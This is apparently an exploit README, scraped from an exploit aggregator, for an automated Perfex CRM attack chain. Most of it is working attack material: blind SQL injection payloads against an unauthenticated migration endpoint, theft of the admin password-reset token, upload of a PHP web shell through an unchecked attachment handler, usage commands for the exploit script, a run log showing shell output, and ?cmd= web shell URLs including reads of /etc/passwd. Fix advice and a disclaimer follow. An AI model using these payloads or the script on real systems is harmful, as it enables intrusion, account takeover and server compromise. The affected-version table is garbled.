## https://sploitus.com/exploit?id=6405A12D-F1A0-51E3-8481-907ED420DD4D
# Perfex CRM **Note:** The Migration controller requires `migration_enabled = true` in config. In default installations this is FALSE, but many production deployments leave it enabled after initial setup/migration, and it is often toggled during updates. The SQLi itself requires no authentication β the controller extends `App_Controller` with no auth middleware.
---
## Affected Software
| Field | Value |
|---|---|
| Software | Perfex CRM (by Developer Portal) |
| Affected Version | input->get('old_base_url'); // β Attacker-controlled
$new_url = $this->config->item('base_url');
foreach ($tables as $t) {
// Direct concatenation into raw SQL query!
$this->db->query('UPDATE `' . $t['table'] . '` SET `' . $t['field']
. '` = replace(' . $t['field'] . ', "' . $old_url . '", "' . $new_url . '")');
// ^^^^^^^^^^^
// NO escaping, NO prepared statement!
}
}
```
**Boolean-based blind exploitation:**
```
# TRUE condition (slow β processes all rows):
/migration/make?old_base_url=x", "y") WHERE (SELECT IF((1=1), 1, 0)) = 1 -- /
# FALSE condition (fast β skips all rows):
/migration/make?old_base_url=x", "y") WHERE (SELECT IF((1=0), 1, 0)) = 1 -- /
```
### Vulnerability 2: Arbitrary File Upload (No Extension Check)
```php
// application/helpers/upload_helper.php β handle_sales_attachments()
function handle_sales_attachments($rel_id, $rel_type)
{
$path = get_upload_path_by_type($rel_type) . $rel_id . '/';
$type = $_FILES['file']['type'];
_maybe_create_upload_path($path);
$filename = unique_filename($path, $_FILES['file']['name']);
$newFilePath = $path . $filename;
// VULNERABILITY: Direct move_uploaded_file() β NO extension check!
if (move_uploaded_file($tmpFilePath, $newFilePath)) {
// File saved as-is β .php, .phtml, .phar all accepted!
}
}
```
### Vulnerability 3: No Authentication on Migration Controller
```php
// application/controllers/Migration.php
class Migration extends App_Controller // β NOT AdminController!
{
public function make()
{
// Only checks config flag β NO login required!
if ($this->config->item('migration_enabled') !== true) {
die;
}
}
}
```
---
## Usage
### Basic usage
```bash
python3 exploit.py https://target.com --filebackdoor cmd7.php
```
### With backup shell (fallback if primary fails)
```bash
python3 exploit.py https://target.com --filebackdoor cmd7.php --backup cmd83.php
```
### Target different staff ID
```bash
python3 exploit.py https://target.com --filebackdoor cmd7.php --backup cmd83.php --staff-id 2
```
### Custom remote filename
```bash
python3 exploit.py https://target.com --filebackdoor cmd7.php -o assets.php
```
### Options
| Flag | Description |
|---|---|
| `target` | Target base URL (positional argument) |
| `--filebackdoor` | PHP shell to upload (required) |
| `--backup` | Backup shell if primary doesn't respond |
| `--staff-id` | Staff ID to target (default: 1) |
| `--timeout` | Boolean SQLi timeout in seconds (default: 8) |
| `-o, --output` | Remote filename (default: random `yuca_*.php`) |
---
## Interactive Exploit Flow
The script runs an interactive chain. You only need to manually change the password via browser β everything else is automated.
```
$ python3 exploit.py https://localhost.yucaerin --filebackdoor cmd7.php --backup cmd83.php
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Phase 1: SQL Injection β
β β Tests /migration/make for blind SQLi β
β [+] SQL Injection confirmed! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Phase 2: Extract Admin Email β
β β Boolean-based blind extraction from tblstaff β
β [+] Admin email: office@localhost.yucaerin β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Phase 3: Password Reset β
β β Triggers forgot_password, then extracts token via SQLi β
β [+] Reset token: fd7fbbf58f8137cac50ec40cec0699ee β
β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Reset link found! Open this URL in your browser: β β
β β β β
β β https://localhost.yucaerin/admin/authentication/ β β
β β reset_password/1/1/fd7fbbf58f8137cac50ec40cec... β β
β β β β
β β Set a new password, then come back here. β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β
β [?] Enter the new password you just set: ββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Phase 4: Admin Login β
β β Logs in with extracted email + your new password β
β [+] Login successful! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Phase 5: Upload Backdoor β
β β Uploads via /admin/misc/upload_sales_file (no ext check) β
β [+] Uploaded β https://localhost.yucaerin/uploads/newsfeed/β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Phase 6: Verify RCE β
β β Tests shell with ?cmd=echo YUCA_OK β
β β If primary fails, auto-uploads backup shell β
β [+] Shell is alive! (parameter: ?cmd=) β
β β
β $ id β
β uid=33(www-data) gid=33(www-data) groups=33(www-data) β
β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Backdoor location: β β
β β https://localhost.yucaerin/uploads/newsfeed/1/yuca_x8k2.php β β
β β β β
β β curl 'https://target.com/.../yuca_x8k2.php?cmd=id' β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
---
## Shells Included
### cmd7.php β PHP 7.3 to 8.1
mm0r1 UAF `disable_functions` bypass. Works on all PHP 7.3-8.1 versions (*nix only).
```
https://target.com/uploads/newsfeed/1/shell.php?cmd=id
https://target.com/uploads/newsfeed/1/shell.php?cmd=cat /etc/passwd
```
**Parameter:** `?cmd=`
### cmd83.php β PHP 8.2 to 8.5
TimeAfterFree `disable_functions` bypass for newer PHP versions.
```
https://target.com/uploads/newsfeed/1/shell.php?cmd=id
https://target.com/uploads/newsfeed/1/shell.php?cmd=uname -a
```
**Parameter:** `?cmd=`
### Backup shell logic
If the primary shell (`--filebackdoor`) doesn't respond after upload (e.g. PHP version mismatch), the exploit automatically uploads the backup shell (`--backup`) and tests again:
```bash
# cmd7.php for PHP 7.x-8.1, cmd83.php as fallback for PHP 8.2+
python3 exploit.py https://target.com --filebackdoor cmd7.php --backup cmd83.php
```
---
## Exploit Flow Diagram
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ATTACKER (No Auth) β
βββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββ
β
βββββββββββββΌββββββββββββββββ
β 1. SQLi: /migration/make β β No authentication required
β Extract admin email β Boolean-based blind (timing)
βββββββββββββ¬ββββββββββββββββ
β
βββββββββββββΌββββββββββββββββ
β 2. Trigger forgot_passwordβ β Generates new_pass_key in DB
β for extracted email β
βββββββββββββ¬ββββββββββββββββ
β
βββββββββββββΌββββββββββββββββ
β 3. SQLi: Extract token β β 32 hex chars from tblstaff
β new_pass_key value β ~3 minutes extraction time
βββββββββββββ¬ββββββββββββββββ
β
βββββββββββββΌββββββββββββββββββββββββββββ
β 4. Give reset link to operator β β Interactive step
β Operator changes password manually β
β Script asks for the new password β
βββββββββββββ¬ββββββββββββββββββββββββββββ
β
βββββββββββββΌββββββββββββββββ
β 5. Login as admin β β email + new password
βββββββββββββ¬ββββββββββββββββ
β
βββββββββββββΌββββββββββββββββ
β 6. Upload shell.php β β POST /admin/misc/upload_sales_file
β type=newsfeed β NO extension check in handler!
β β uploads/newsfeed/1/ β File executes as PHP immediately
βββββββββββββ¬ββββββββββββββββ
β
βββββββββββββΌββββββββββββββββββββββββββββ
β 7. Verify RCE β β ?cmd=echo YUCA_OK
β If fails β upload backup shell β
β curl shell.php?cmd=id β
βββββββββββββββββββββββββββββββββββββββββ
```
---
## Fix Recommendations
### Fix 1: Disable Migration Controller (Immediate)
```php
// application/config/migration.php
$config['migration_enabled'] = false; // MUST be false in production!
```
### Fix 2: Add Extension Validation to handle_sales_attachments()
```php
function handle_sales_attachments($rel_id, $rel_type)
{
// ADD THIS CHECK:
if (!_upload_extension_allowed($_FILES['file']['name'])) {
header('HTTP/1.0 400 Bad Request');
echo 'File extension not allowed';
die;
}
// ... rest of function
}
```
### Fix 3: Add Authentication to Migration Controller
```php
class Migration extends AdminController // β Change from App_Controller
{
public function __construct()
{
parent::__construct();
if (!is_admin()) {
show_404();
}
}
}
```
### Fix 4: Use Prepared Statements
```php
$this->db->query('UPDATE ... replace(field, ?, ?)', [$old_url, $new_url]);
```
### Fix 5: Add .htaccess to Upload Directories
```apache
# uploads/newsfeed/.htaccess
Require all denied
```
---
## Files
| File | Description |
|---|---|
| `exploit.py` | Full automated exploit chain (Python 3, interactive) |
| `cmd7.php` | mm0r1 UAF disable_functions bypass β PHP 7.3-8.1, param: `?cmd=` |
| `cmd83.php` | TimeAfterFree disable_functions bypass β PHP 8.2-8.5, param: `?cmd=` |
| `README.md` | This file |
---
## Researcher
- Credit: [Yucaerin](https://yucaerin.github.io/)
---
## References
- [Perfex CRM Official](https://www.perfexcrm.com/)
- [Perfex CRM Product](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737)
- [CodeIgniter 3 Security](https://codeigniter.com/userguide3/libraries/security.html)
- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
- [CWE-434: Unrestricted Upload](https://cwe.mitre.org/data/definitions/434.html)
- [CWE-640: Weak Password Recovery](https://cwe.mitre.org/data/definitions/640.html)
---
## Disclaimer
This information is provided for **educational** and **authorized penetration testing** purposes only. Unauthorized exploitation of computer systems is illegal and unethical. Always obtain explicit written permission before testing any target you do not own.